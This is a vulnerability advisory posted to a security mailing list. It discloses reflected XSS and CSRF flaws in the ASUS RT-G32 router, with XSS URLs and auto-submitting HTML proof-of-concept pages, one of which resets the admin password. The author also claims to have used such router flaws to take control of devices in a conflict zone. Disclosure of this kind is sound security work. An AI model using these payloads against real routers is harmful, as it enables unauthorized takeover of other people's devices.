ASUS RT-G32 suffers from cross site request forgery and cross site scripting vulnerabilities.
c34493ee04f35bcd91d2cca336c9426c6e04dfabdb8828db329cb24360c34164Hello list!
There are Cross-Site Scripting and Cross-Site Request Forgery
vulnerabilities in ASUS Wireless Router RT-G32.
-------------------------
Affected products:
-------------------------
Vulnerable is the next model: ASUS RT-G32 with different versions of
firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and
2.0.3.2.
----------
Details:
----------
Cross-Site Scripting (WASC-08):
http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27
http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27
http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27
http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27
These vulnerabilities work as via GET, as via POST (work even without
authorization).
ASUS RT-G32 XSS-1.html
<html>
<head>
<title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="next_page" value="'+alert(document.cookie)+'">
<input type="hidden" name="group_id" value="'+alert(document.cookie)+'">
<input type="hidden" name="action_script"
value="'+alert(document.cookie)+'">
<input type="hidden" name="flag" value="'+alert(document.cookie)+'">
</form>
</body>
</html>
Cross-Site Request Forgery (WASC-09):
CSRF vulnerability allows to change different settings, including admin's
password. As I showed in this exploit (post-auth).
ASUS RT-G32 CSRF-1.html
<html>
<head>
<title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="http_passwd" value="admin">
<input type="hidden" name="http_passwd2" value="admin">
<input type="hidden" name="v_password2" value="admin">
<input type="hidden" name="action_mode" value="+Apply+">
</form>
</body>
</html>
I found this and other routers since summer to take control over terrorists
in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html)
and in many my interviews
(http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html).
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7644/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
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